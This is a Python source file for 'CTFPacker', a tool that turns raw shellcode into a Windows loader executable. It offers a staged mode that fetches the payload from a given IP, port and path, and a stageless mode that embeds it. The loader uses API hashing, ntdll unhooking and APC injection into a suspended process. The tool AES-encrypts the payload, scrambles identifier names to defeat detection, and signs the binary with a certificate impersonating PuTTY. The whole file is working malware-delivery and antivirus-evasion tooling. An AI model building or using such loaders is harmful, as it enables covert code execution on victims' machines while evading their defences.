Files
T
2025-03-18 16:59:21 +01:00

684 lines
36 KiB
Python

# -*- coding: utf-8 -*-
'''
Author: @B0lg0r0v (Arthur Minasyan)
X (Twitter): @B0lg0r0v
LinkedIn: https://www.linkedin.com/in/arthur-minasyan-b582b7233/
'''
import os
import random
import subprocess
import shutil, errno
from core.hashing import Hasher
from argparse import ArgumentParser
from core.utils import Colors, banner
from core.encryption import Encryption
def main():
# Creating the parser first
parser = ArgumentParser(description="CTFPacker", epilog="Author: @B0lg0r0v (Arthur Minasyan)")
subparsers = parser.add_subparsers(dest="commands", help="Staged or Stageless Payloads", required=True)
# Creating the subparsers
parser_staged = subparsers.add_parser("staged", help="Staged")
parser_stageless = subparsers.add_parser("stageless", help="Stageless")
# Creating the arguments for the staged subcommand
parser_staged.add_argument("-p", "--payload", help="Shellcode to be packed", required=True)
parser_staged.add_argument("-i", "--ip-address", type=str, help="IP address from where your shellcode is gonna be fetched.", required=True)
parser_staged.add_argument("-po", "--port", type=int, help="Port from where the HTTP connection is gonna fetch your shellcode.", required=True)
parser_staged.add_argument("-pa", "--path", type=str, help="Path from where your shellcode uis gonna be fetched. ", required=True)
parser_staged.add_argument("-o", "--output", type=str, help="Output path where the shellcode is gonna be saved.")
parser_staged.add_argument("-e", "--encrypt", action="store_true", help="Encrypt the shellcode via AES-128-CBC.")
parser_staged.add_argument("-s", "--scramble", action="store_true", help="Scramble the loader's functions and variables.")
parser_staged.add_argument("-si", "--sign", action="store_true", help="Sign the loader with a random certificate.")
parser_staged.epilog = "Example usage: python main.py staged -p shellcode.bin -i 192.168.1.150 -po 8080 -pa '/shellcode.bin' -o shellcode -e -s -si"
# Creating the arguments for the stageless subcommand
parser_stageless.add_argument("-p", "--payload", help="Shellcode to be packed", required=True)
parser_stageless.add_argument("-o", "--output", type=str, help="Output path where the loader is gonna be saved.")
parser_stageless.add_argument("-e", "--encrypt", action="store_true", help="Encrypt the shellcode via AES-128-CBC.")
parser_stageless.add_argument("-s", "--scramble", action="store_true", help="Scramble the loader's functions and variables.")
parser_stageless.add_argument("-si", "--sign", action="store_true", help="Sign the loader with a random certificate.")
parser_stageless.epilog = "Example usage: python main.py stageless -p shellcode.bin -o shellcode -e -s -si"
# Parsing the arguments
args = parser.parse_args()
# Banner
banner()
#--------------------------------------#
#----------- Staged Variant -----------#
#--------------------------------------#
if args.commands == "staged":
print(Colors.green("[i] Staged Payload selected."))
print(Colors.light_yellow("[+] Starting the process..."))
# We make a temporary folder called ".ctfpacker" and copy the template files to this folder.
cr_directory = os.getcwd()
src_directory = rf'{cr_directory}/templates/staged'
dst_directory = f'{cr_directory}/.ctfpacker'
# Copying the files from the templates folder to the temporary folder
try:
shutil.copytree(src_directory, dst_directory)
except OSError as e:
# deleting the folder if it exists
if e.errno == errno.EEXIST:
shutil.rmtree(dst_directory)
shutil.copytree(src_directory, dst_directory)
else:
print(f"Error: {e}")
if args.payload and args.ip_address and args.port and args.path:
print(Colors.green("[i] Corresponding template selected.."))
ip = args.ip_address
port = args.port
path = args.path
with open(f'{dst_directory}/download.c', 'r') as file:
download_data = file.readlines()
for i in range(len(download_data)):
if "#-IP_VALUE-#" in download_data[i]:
download_data[i] = download_data[i].replace("#-IP_VALUE-#", ip)
if "#-PORT_VALUE-#" in download_data[i]:
download_data[i] = download_data[i].replace("#-PORT_VALUE-#", str(port))
if "#-PATH_VALUE-#" in download_data[i]:
download_data[i] = download_data[i].replace('#-PATH_VALUE-#', path)
with open(f'{dst_directory}/download.c', 'w') as file:
file.writelines(download_data)
# We read the shellcode from the file
with open(args.payload, "rb") as file:
payload = file.read()
INITIAL_SEED = random.randint(5, 20)
INITIAL_HASH = random.randint(2000, 9000)
NTDLL_HASH = Hasher.Hasher("NTDLL.DLL", INITIAL_SEED, INITIAL_HASH)
KERNEL32_HASH = Hasher.Hasher("KERNEL32.DLL", INITIAL_SEED, INITIAL_HASH)
KERNELBASE_HASH = Hasher.Hasher("KERNELBASE.DLL", INITIAL_SEED, INITIAL_HASH)
DEBUGACTIVEPROCESSSTOP_HASH = Hasher.Hasher("DebugActiveProcessStop", INITIAL_SEED, INITIAL_HASH)
CREATEPROCESSA_HASH = Hasher.Hasher("CreateProcessA", INITIAL_SEED, INITIAL_HASH)
NTMAPVIEWOFSECTION_HASH = Hasher.Hasher("NtMapViewOfSection", INITIAL_SEED, INITIAL_HASH)
# Modifying all .c and .h files in the temporary folder
for filename in os.listdir(dst_directory):
if filename.endswith(".c") or filename.endswith(".h"):
with open(f"{dst_directory}/{filename}", "r") as file:
data = file.readlines()
for i in range(len(data)):
if "#-INITIAL_HASH_VALUE-# " in data[i]:
data[i] = data[i].replace("#-INITIAL_HASH_VALUE-#", str(INITIAL_HASH))
if "#-INITIAL_SEED_VALUE-#" in data[i]:
data[i] = data[i].replace("#-INITIAL_SEED_VALUE-#", str(INITIAL_SEED))
if "#-NTDLL_VALUE-#" in data[i]:
data[i] = data[i].replace("#-NTDLL_VALUE-#", NTDLL_HASH)
if "#-KERNEL32_VALUE-#" in data[i]:
data[i] = data[i].replace("#-KERNEL32_VALUE-#", KERNEL32_HASH)
if "#-KERNELBASE_VALUE-#" in data[i]:
data[i] = data[i].replace("#-KERNELBASE_VALUE-#", KERNELBASE_HASH)
if "#-DAPS_VALUE-#" in data[i]:
data[i] = data[i].replace("#-DAPS_VALUE-#", DEBUGACTIVEPROCESSSTOP_HASH)
if "#-CREATEPROCESSA_VALUE-#" in data[i]:
data[i] = data[i].replace("#-CREATEPROCESSA_VALUE-#", CREATEPROCESSA_HASH)
if "#-NTMVOS_VALUE-#" in data[i]:
data[i] = data[i].replace("#-NTMVOS_VALUE-#", NTMAPVIEWOFSECTION_HASH)
with open(f"{dst_directory}/{filename}", "w") as file:
file.writelines(data)
print(Colors.green("[+] Template files modified !"))
# Handling the case if encryption is wanted
if args.encrypt:
print(Colors.green("[i] Encryption selected."))
print(Colors.light_yellow("[+] Encrypting the payload..."))
enc_payload, key, iv = Encryption.EncryptAES(payload)
if os.path.exists(f"{args.output}.bin"):
os.remove(f"{args.output}.bin")
with open(f"{args.output}.bin", "wb") as file:
file.write(enc_payload)
# We write the key and IV into main.c
with open(f"{dst_directory}/main.c", "r") as file:
main_data = file.readlines()
# We look for the following placeholders: "#-KEY_VALUE-#" and "#-IV_VALUE-#" and replace them with the actual values
for i in range(len(main_data)):
if "#-KEY_VALUE-#" in main_data[i]:
main_data[i] = main_data[i].replace("#-KEY_VALUE-#", key)
if "#-IV_VALUE-#" in main_data[i]:
main_data[i] = main_data[i].replace("#-IV_VALUE-#", iv)
# Writing the data back to the file
with open(f"{dst_directory}/main.c", "w") as file:
file.writelines(main_data)
print(Colors.green(f"[+] Payload encrypted and saved to {args.output}.bin !"))
# If encryption is not wanted (for whatever reason)
if args.encrypt is False:
print(Colors.green("[i] Encryption not selected."))
print(Colors.light_yellow("[+] Compiling the loader..."))
# We comment out the encryption function in the main.c file
with open(f"{dst_directory}/main.c", "r") as file:
main_data = file.readlines()
for i in range(len(main_data)):
if "#include \"AES_128_CBC.h\"" in main_data[i]:
main_data[i] = f"//{main_data[i]}"
if "AES_CTX" in main_data[i]:
main_data[i] = f"\t//{main_data[i]}"
if "uint8_t aes_k[16] = { #-KEY_VALUE-# };" in main_data[i]:
main_data[i] = f"//{main_data[i]}"
if "uint8_t aes_i[16] = { #-IV_VALUE-# };" in main_data[i]:
main_data[i] = f"//{main_data[i]}"
if "Starting the decryption..." in main_data[i]:
main_data[i] = f"\t//{main_data[i]}"
if "pClearText = (PBYTE)malloc(sEncPayload);" in main_data[i]:
main_data[i] = f"\t//{main_data[i]}"
if "AES_DecryptInit(&ctx, aes_k, aes_i);" in main_data[i]:
main_data[i] = f"\t//{main_data[i]}"
if "AES_DecryptBuffer(&ctx, pEncPayload, pClearText, sEncPayload);" in main_data[i]:
main_data[i] = f"\t//{main_data[i]}"
if "Payload decrypted at postion: 0x%p with size of %zu" in main_data[i]:
main_data[i] = f"\t//{main_data[i]}"
if "if (!APCInjection(hProcess, pClearText, sEncPayload, &pProcess))" in main_data[i]:
main_data[i] = f"\tif (!APCInjection(hProcess, (PVOID) pEncPayload, sEncPayload, &pProcess)) {{"
with open(f"{dst_directory}/main.c", "w") as file:
file.writelines(main_data)
# We copy the payload file to the path specified by the user
shutil.copy(args.payload, f"{args.output}.bin")
if args.scramble:
print(Colors.green("[i] Scrambling selected."))
print(Colors.light_yellow("[+] Scrambling the loader..."))
functions = ["HashStringDjb2A", "GetProcAddressH", "GetModuleHandleH", "MapNtdll", "Unhook", "AES_DecryptInit", "AES_DecryptBuffer",
"CreateSuspendedProcess", "APCInjection", "cDAPSu", "cCPAu", "aes_k", "aes_i", "AES_Decrypt", "AES_Encrypt", "AES_EncryptInit",
"GetContent", "NTAVM", "NTPVM", "NTWVM", "NTQAT"]
scrambled_functions = []
variables = ["sEncPayload", "pEncPayload", "pClearText", "ctx", "hProcess", "pProcess", "dwSizeOfClearText", "dwOldProtect", "dwProcessId"]
scrambled_variables = []
alphabet = list("abcdefghijklmnopqrstuvwxyz")
used_combos = set()
# Scrambling the functions
for sign in functions + variables:
letter = random.choice(alphabet)
multiplier = random.randint(1, 128)
while (letter, multiplier) in used_combos:
letter = random.choice(alphabet)
multiplier = random.randint(1, 128)
used_combos.add((letter, multiplier))
scrambled_sign = letter * multiplier
if sign in functions:
scrambled_functions.append(scrambled_sign)
else:
scrambled_variables.append(scrambled_sign)
# Modifying all .c and .h files in the temporary folder
for filename in os.listdir(dst_directory):
if filename.endswith(".c") or filename.endswith(".h") or filename.endswith(".asm"):
with open(f"{dst_directory}/{filename}", "r") as file:
data = file.readlines()
for i in range(len(data)):
if "HashStringDjb2A" in data[i]:
data[i] = data[i].replace("HashStringDjb2A", scrambled_functions[0])
if "GetProcAddressH" in data[i]:
data[i] = data[i].replace("GetProcAddressH", scrambled_functions[1])
if "GetModuleHandleH" in data[i]:
data[i] = data[i].replace("GetModuleHandleH", scrambled_functions[2])
if "MapNtdll" in data[i]:
data[i] = data[i].replace("MapNtdll", scrambled_functions[3])
if "Unhook" in data[i]:
data[i] = data[i].replace("Unhook", scrambled_functions[4])
if "AES_DecryptInit" in data[i]:
data[i] = data[i].replace("AES_DecryptInit", scrambled_functions[5])
if "AES_DecryptBuffer" in data[i]:
data[i] = data[i].replace("AES_DecryptBuffer", scrambled_functions[6])
if "CreateSuspendedProcess" in data[i]:
data[i] = data[i].replace("CreateSuspendedProcess", scrambled_functions[7])
if "APCInjection" in data[i]:
data[i] = data[i].replace("APCInjection", scrambled_functions[8])
if "cDAPSu" in data[i]:
data[i] = data[i].replace("cDAPSu", scrambled_functions[9])
if "cCPAu" in data[i]:
data[i] = data[i].replace("cCPAu", scrambled_functions[10])
if "aes_k" in data[i]:
data[i] = data[i].replace("aes_k", scrambled_functions[11])
if "aes_i" in data[i]:
data[i] = data[i].replace("aes_i", scrambled_functions[12])
if "AES_Decrypt" in data[i]:
data[i] = data[i].replace("AES_Decrypt", scrambled_functions[13])
if "AES_Encrypt" in data[i]:
data[i] = data[i].replace("AES_Encrypt", scrambled_functions[14])
if "AES_EncryptInit" in data[i]:
data[i] = data[i].replace("AES_EncryptInit", scrambled_functions[15])
if "GetContent" in data[i]:
data[i] = data[i].replace("GetContent", scrambled_functions[16])
if "NTAVM" in data[i]:
data[i] = data[i].replace("NTAVM", scrambled_functions[17])
if "NTPVM" in data[i]:
data[i] = data[i].replace("NTPVM", scrambled_functions[18])
if "NTWVM" in data[i]:
data[i] = data[i].replace("NTWVM", scrambled_functions[19])
if "NTQAT" in data[i]:
data[i] = data[i].replace("NTQAT", scrambled_functions[20])
with open(f"{dst_directory}/{filename}", "w") as file:
file.writelines(data)
# Modifying the main.c file
with open(f"{dst_directory}/main.c", "r") as file:
main_data = file.readlines()
for i in range(len(main_data)):
if "sEncPayload" in main_data[i]:
main_data[i] = main_data[i].replace("sEncPayload", scrambled_variables[0])
if "pEncPayload" in main_data[i]:
main_data[i] = main_data[i].replace("pEncPayload", scrambled_variables[1])
if "pClearText" in main_data[i]:
main_data[i] = main_data[i].replace("pClearText", scrambled_variables[2])
if "ctx" in main_data[i]:
main_data[i] = main_data[i].replace("ctx", scrambled_variables[3])
if "hProcess" in main_data[i]:
main_data[i] = main_data[i].replace("hProcess", scrambled_variables[4])
if "pProcess" in main_data[i]:
main_data[i] = main_data[i].replace("pProcess", scrambled_variables[5])
if "dwSizeOfClearText" in main_data[i]:
main_data[i] = main_data[i].replace("dwSizeOfClearText", scrambled_variables[6])
if "dwOldProtect" in main_data[i]:
main_data[i] = main_data[i].replace("dwOldProtect", scrambled_variables[7])
if "dwProcessId" in main_data[i]:
main_data[i] = main_data[i].replace("dwProcessId", scrambled_variables[8])
with open(f"{dst_directory}/main.c", "w") as file:
file.writelines(main_data)
print(Colors.green("[+] Loader scrambled !"))
if args.sign:
print(Colors.green("[i] Signing selected."))
print(Colors.light_yellow("[+] Signing the loader..."))
pfx_path = f"{cr_directory}/custom_certs/sign_putty.pfx"
pfx_password = "Password"
input_binary = "ctfloader.exe"
signed_binary = "ctfloader_signed.exe"
os.system(f"cd '{dst_directory}' && make clean && make")
shutil.move(f"{dst_directory}/ctfloader.exe", f"ctfloader.exe")
if os.path.exists("ctfloader_signed.exe"):
os.remove("ctfloader_signed.exe")
subprocess.run([
f"osslsigncode",
"sign",
"-pkcs12", pfx_path,
"-pass", pfx_password,
"-n", "Signed Loader",
"-i", "https://putty.com",
"-t", "http://timestamp.sectigo.com",
"-in", input_binary,
"-out", signed_binary
], check=True)
shutil.rmtree(dst_directory)
print(Colors.green("[+] Loader signed !"))
if args.sign is False:
# Everything has been modified, we can now compile the loader
os.system(f"cd '{dst_directory}' && make clean && make")
# We move the compiled loader one directory up
shutil.move(f"{dst_directory}/ctfloader.exe", f"ctfloader.exe")
# We delete the temporary folder
shutil.rmtree(dst_directory)
print(Colors.green("[+] Loader compiled !"))
print(Colors.green("[+] DONE !"))
#-----------------------------------------#
#----------- Stageless Variant -----------#
#-----------------------------------------#
if args.commands == "stageless":
print(Colors.green("[i] Stageless Payload selected."))
print(Colors.light_yellow("[+] Starting the process..."))
# We make a temporary folder called ".ctfpacker" and copy the template files to this folder.
cr_directory = os.getcwd()
src_directory = rf'{cr_directory}/templates/stageless'
dst_directory = f'{cr_directory}/.ctfpacker'
# Copying the files from the templates folder to the temporary folder
try:
shutil.copytree(src_directory, dst_directory)
except OSError as e:
# deleting the folder if it exists
if e.errno == errno.EEXIST:
shutil.rmtree(dst_directory)
shutil.copytree(src_directory, dst_directory)
else:
print(f"Error: {e}")
# Parsing the args now
if args.payload:
# We read the shellcode from the file
with open(args.payload, "rb") as file:
raw_payload = file.read()
# converting the payload to hex for ease
payload = ', '.join(f"0x{b:02x}" for b in raw_payload)
INITIAL_SEED = random.randint(5, 20)
INITIAL_HASH = random.randint(2000, 9000)
NTDLL_HASH = Hasher.Hasher("NTDLL.DLL", INITIAL_SEED, INITIAL_HASH)
KERNEL32_HASH = Hasher.Hasher("KERNEL32.DLL", INITIAL_SEED, INITIAL_HASH)
KERNELBASE_HASH = Hasher.Hasher("KERNELBASE.DLL", INITIAL_SEED, INITIAL_HASH)
DEBUGACTIVEPROCESSSTOP_HASH = Hasher.Hasher("DebugActiveProcessStop", INITIAL_SEED, INITIAL_HASH)
CREATEPROCESSA_HASH = Hasher.Hasher("CreateProcessA", INITIAL_SEED, INITIAL_HASH)
NTMAPVIEWOFSECTION_HASH = Hasher.Hasher("NtMapViewOfSection", INITIAL_SEED, INITIAL_HASH)
# Modifying all .c and .h files in the temporary folder
for filename in os.listdir(dst_directory):
if filename.endswith(".c") or filename.endswith(".h"):
with open(f"{dst_directory}/{filename}", "r") as file:
data = file.readlines()
for i in range(len(data)):
if "#-INITIAL_HASH_VALUE-# " in data[i]:
data[i] = data[i].replace("#-INITIAL_HASH_VALUE-#", str(INITIAL_HASH))
if "#-INITIAL_SEED_VALUE-#" in data[i]:
data[i] = data[i].replace("#-INITIAL_SEED_VALUE-#", str(INITIAL_SEED))
if "#-NTDLL_VALUE-#" in data[i]:
data[i] = data[i].replace("#-NTDLL_VALUE-#", NTDLL_HASH)
if "#-KERNEL32_VALUE-#" in data[i]:
data[i] = data[i].replace("#-KERNEL32_VALUE-#", KERNEL32_HASH)
if "#-KERNELBASE_VALUE-#" in data[i]:
data[i] = data[i].replace("#-KERNELBASE_VALUE-#", KERNELBASE_HASH)
if "#-DAPS_VALUE-#" in data[i]:
data[i] = data[i].replace("#-DAPS_VALUE-#", DEBUGACTIVEPROCESSSTOP_HASH)
if "#-CREATEPROCESSA_VALUE-#" in data[i]:
data[i] = data[i].replace("#-CREATEPROCESSA_VALUE-#", CREATEPROCESSA_HASH)
if "#-NTMVOS_VALUE-#" in data[i]:
data[i] = data[i].replace("#-NTMVOS_VALUE-#", NTMAPVIEWOFSECTION_HASH)
with open(f"{dst_directory}/{filename}", "w") as file:
file.writelines(data)
print(Colors.green("[+] Template files modified !"))
# Handling the case if encryption is wanted
if args.encrypt:
print(Colors.green("[i] Encryption selected."))
print(Colors.light_yellow("[+] Encrypting the payload..."))
enc_payload, key, iv = Encryption.EncryptAES(raw_payload)
# converting the payload to hex for ease
hex_payload = ', '.join(f"0x{b:02x}" for b in enc_payload)
# We write the key and IV into main.c
with open(f"{dst_directory}/main.c", "r") as file:
main_data = file.readlines()
# We look for the following placeholders: "#-KEY_VALUE-#" and "#-IV_VALUE-#" and replace them with the actual values
for i in range(len(main_data)):
if "#-KEY_VALUE-#" in main_data[i]:
main_data[i] = main_data[i].replace("#-KEY_VALUE-#", key)
if "#-IV_VALUE-#" in main_data[i]:
main_data[i] = main_data[i].replace("#-IV_VALUE-#", iv)
if "#-PAYLOAD_VALUE-#" in main_data[i]:
main_data[i] = main_data[i].replace("#-PAYLOAD_VALUE-#", str(hex_payload))
# Writing the data back to the file
with open(f"{dst_directory}/main.c", "w") as file:
file.writelines(main_data)
print(Colors.green(f"[+] Payload encrypted and saved into payload[] variable in main.c !"))
# If encryption is not wanted (for whatever reason)
if args.encrypt is False:
print(Colors.green("[i] Encryption not selected."))
print(Colors.light_yellow("[+] Compiling the loader..."))
# We comment out the encryption function in the main.c file
with open(f"{dst_directory}/main.c", "r") as file:
main_data = file.readlines()
for i in range(len(main_data)):
if "#include \"AES_128_CBC.h\"" in main_data[i]:
main_data[i] = f"//{main_data[i]}"
if "AES_CTX" in main_data[i]:
main_data[i] = f"\t//{main_data[i]}"
if "uint8_t aes_k[16] = { #-KEY_VALUE-# };" in main_data[i]:
main_data[i] = f"//{main_data[i]}"
if "uint8_t aes_i[16] = { #-IV_VALUE-# };" in main_data[i]:
main_data[i] = f"//{main_data[i]}"
if "Starting the decryption..." in main_data[i]:
main_data[i] = f"\t//{main_data[i]}"
if "pClearText = (PBYTE)malloc(sEncPayload);" in main_data[i]:
main_data[i] = f"\t//{main_data[i]}"
if "AES_DecryptInit(&ctx, aes_k, aes_i);" in main_data[i]:
main_data[i] = f"\t//{main_data[i]}"
if "AES_DecryptBuffer(&ctx, &payload, pClearText, sEncPayload)" in main_data[i]:
main_data[i] = f"\t//{main_data[i]}"
if "Payload decrypted at postion: 0x%p with size of %zu" in main_data[i]:
main_data[i] = f"\t//{main_data[i]}"
if "if (!APCInjection(hProcess, pClearText, sEncPayload, &pProcess))" in main_data[i]:
main_data[i] = f"\tif (!APCInjection(hProcess, (PVOID) &payload, sEncPayload, &pProcess)) {{"
if "#-PAYLOAD_VALUE-#" in main_data[i]:
main_data[i] = main_data[i].replace("#-PAYLOAD_VALUE-#", payload)
with open(f"{dst_directory}/main.c", "w") as file:
file.writelines(main_data)
if args.scramble:
print(Colors.green("[i] Scrambling selected."))
print(Colors.light_yellow("[+] Scrambling the loader..."))
functions = ["HashStringDjb2A", "GetProcAddressH", "GetModuleHandleH", "MapNtdll", "Unhook", "AES_DecryptInit", "AES_DecryptBuffer",
"CreateSuspendedProcess", "APCInjection", "cDAPSu", "cCPAu", "aes_k", "aes_i", "AES_Decrypt", "AES_Encrypt", "AES_EncryptInit",
"NTAVM", "NTPVM", "NTWVM", "NTQAT"]
scrambled_functions = []
variables = ["sEncPayload", "pEncPayload", "pClearText", "ctx", "hProcess", "pProcess", "dwSizeOfClearText", "dwOldProtect", "dwProcessId", "payload"]
scrambled_variables = []
alphabet = list("abcdefghijklmnopqrstuvwxyz")
used_combos = set()
# Scrambling the functions
for sign in functions + variables:
letter = random.choice(alphabet)
multiplier = random.randint(1, 128)
while (letter, multiplier) in used_combos:
letter = random.choice(alphabet)
multiplier = random.randint(1, 128)
used_combos.add((letter, multiplier))
scrambled_sign = letter * multiplier
if sign in functions:
scrambled_functions.append(scrambled_sign)
else:
scrambled_variables.append(scrambled_sign)
# Modifying all .c and .h files in the temporary folder
for filename in os.listdir(dst_directory):
if filename.endswith(".c") or filename.endswith(".h") or filename.endswith(".asm"):
with open(f"{dst_directory}/{filename}", "r") as file:
data = file.readlines()
for i in range(len(data)):
if "HashStringDjb2A" in data[i]:
data[i] = data[i].replace("HashStringDjb2A", scrambled_functions[0])
if "GetProcAddressH" in data[i]:
data[i] = data[i].replace("GetProcAddressH", scrambled_functions[1])
if "GetModuleHandleH" in data[i]:
data[i] = data[i].replace("GetModuleHandleH", scrambled_functions[2])
if "MapNtdll" in data[i]:
data[i] = data[i].replace("MapNtdll", scrambled_functions[3])
if "Unhook" in data[i]:
data[i] = data[i].replace("Unhook", scrambled_functions[4])
if "AES_DecryptInit" in data[i]:
data[i] = data[i].replace("AES_DecryptInit", scrambled_functions[5])
if "AES_DecryptBuffer" in data[i]:
data[i] = data[i].replace("AES_DecryptBuffer", scrambled_functions[6])
if "CreateSuspendedProcess" in data[i]:
data[i] = data[i].replace("CreateSuspendedProcess", scrambled_functions[7])
if "APCInjection" in data[i]:
data[i] = data[i].replace("APCInjection", scrambled_functions[8])
if "cDAPSu" in data[i]:
data[i] = data[i].replace("cDAPSu", scrambled_functions[9])
if "cCPAu" in data[i]:
data[i] = data[i].replace("cCPAu", scrambled_functions[10])
if "aes_k" in data[i]:
data[i] = data[i].replace("aes_k", scrambled_functions[11])
if "aes_i" in data[i]:
data[i] = data[i].replace("aes_i", scrambled_functions[12])
if "AES_Decrypt" in data[i]:
data[i] = data[i].replace("AES_Decrypt", scrambled_functions[13])
if "AES_Encrypt" in data[i]:
data[i] = data[i].replace("AES_Encrypt", scrambled_functions[14])
if "AES_EncryptInit" in data[i]:
data[i] = data[i].replace("AES_EncryptInit", scrambled_functions[15])
if "NTAVM" in data[i]:
data[i] = data[i].replace("NTAVM", scrambled_functions[16])
if "NTPVM" in data[i]:
data[i] = data[i].replace("NTPVM", scrambled_functions[17])
if "NTWVM" in data[i]:
data[i] = data[i].replace("NTWVM", scrambled_functions[18])
if "NTQAT" in data[i]:
data[i] = data[i].replace("NTQAT", scrambled_functions[19])
with open(f"{dst_directory}/{filename}", "w") as file:
file.writelines(data)
# Modifying the main.c file
with open(f"{dst_directory}/main.c", "r") as file:
main_data = file.readlines()
for i in range(len(main_data)):
if "sEncPayload" in main_data[i]:
main_data[i] = main_data[i].replace("sEncPayload", scrambled_variables[0])
if "pEncPayload" in main_data[i]:
main_data[i] = main_data[i].replace("pEncPayload", scrambled_variables[1])
if "pClearText" in main_data[i]:
main_data[i] = main_data[i].replace("pClearText", scrambled_variables[2])
if "ctx" in main_data[i]:
main_data[i] = main_data[i].replace("ctx", scrambled_variables[3])
if "hProcess" in main_data[i]:
main_data[i] = main_data[i].replace("hProcess", scrambled_variables[4])
if "pProcess" in main_data[i]:
main_data[i] = main_data[i].replace("pProcess", scrambled_variables[5])
if "dwSizeOfClearText" in main_data[i]:
main_data[i] = main_data[i].replace("dwSizeOfClearText", scrambled_variables[6])
if "dwOldProtect" in main_data[i]:
main_data[i] = main_data[i].replace("dwOldProtect", scrambled_variables[7])
if "dwProcessId" in main_data[i]:
main_data[i] = main_data[i].replace("dwProcessId", scrambled_variables[8])
if "payload" in main_data[i]:
main_data[i] = main_data[i].replace("payload", scrambled_variables[9])
with open(f"{dst_directory}/main.c", "w") as file:
file.writelines(main_data)
print(Colors.green("[+] Loader scrambled !"))
if args.sign:
print(Colors.green("[i] Signing selected."))
print(Colors.light_yellow("[+] Signing the loader..."))
pfx_path = f"{cr_directory}/custom_certs/sign_putty.pfx"
pfx_password = "Password"
input_binary = "ctfloader.exe"
signed_binary = "ctfloader_signed.exe"
os.system(f"cd '{dst_directory}' && make clean && make")
shutil.move(f"{dst_directory}/ctfloader.exe", f"ctfloader.exe")
if os.path.exists("ctfloader_signed.exe"):
os.remove("ctfloader_signed.exe")
subprocess.run([
f"osslsigncode",
"sign",
"-pkcs12", pfx_path,
"-pass", pfx_password,
"-n", "Signed Loader",
"-i", "https://putty.com",
"-t", "http://timestamp.sectigo.com",
"-in", input_binary,
"-out", signed_binary
], check=True)
shutil.rmtree(dst_directory)
print(Colors.green("[+] Loader signed !"))
if args.sign is False:
# Everything has been modified, we can now compile the loader
os.system(f"cd '{dst_directory}' && make clean && make")
# We move the compiled loader one directory up
shutil.move(f"{dst_directory}/ctfloader.exe", f"ctfloader.exe")
# We delete the temporary folder
shutil.rmtree(dst_directory)
print(Colors.green("[+] Loader compiled !"))
print(Colors.green("[+] DONE !"))
if __name__ == "__main__":
main()